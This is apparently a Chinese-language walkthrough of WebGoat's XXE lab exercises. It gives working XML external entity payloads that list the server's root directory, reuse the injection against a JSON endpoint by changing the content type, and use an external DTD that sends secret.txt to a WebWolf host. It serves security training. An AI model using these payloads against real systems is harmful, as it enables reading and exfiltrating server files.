Security Misconfiguration

XXE

4

添加一条评论,当提交表单时,使用评论字段执行XXE注入。需要列出文件系统的根目录。

先随便发一条评论,看看请求包。

从上面可以确定请求数据的xml格式,然后构造XXE如下:

1
2
3
4
5
6
7
8
# 需要通过bp等工具发送请求
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///">
]>
<comment>
<text>&b;</text>
</comment>

7

在现代REST框架中,服务器可能能够接受您作为开发人员没有考虑过的数据格式。因此,这可能会导致JSON端点容易受到XXE攻击。

同样的练习,但尝试执行与第一次作业中相同的XML注入。

先随便发一条正常的评论,查看返回的响应信息。

响应表明,该接口需要xml数据,而当前传的是json。

所以我们直接用上一题的xxe来试试。记得修改:Content-Type: application/xml

11

使用外部 DTD。

尝试创建一个 DTD,可以使用 WebWolf 来提供 DTD。它将 WebGoat 服务器上的文件 secret.txt 的内容传到我们的 WebWolf 服务器。 secret.txt 位于WebGoat 服务器上的以下位置:
C:\Users\xxx/.webgoat-2023.8//XXE/admin12138/secret.txt 。最后提交文件内容。

构造XXE请求体如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE remote [
<!ENTITY % file SYSTEM "file:///C:\Users\xxx/.webgoat-2023.8//XXE/admin12138/secret.txt">
<!ENTITY % run SYSTEM "http://www.webwolf.local:9090/WebWolf/files/admin12138/attack.dtd">
%run;
%do;
]>
<comment>
<text>&send;</text>
</comment>

其中,attack.dtd文件内容如下,需要先手动上传到WebWolf。

1
<!ENTITY % do "<!ENTITY send SYSTEM 'http://www.webwolf.local:9090/WebWolf/landing?file=%file;'>">

修改发布评论的请求体内容为XXE,发送请求后,可以在WebWolf页面看到请求记录。

对file参数的值进行URL解码后得到:WebGoat 8.0 rocks... (eHCtSsXFry) ,这就是目标文件的内容。在评论中输入,提交即可。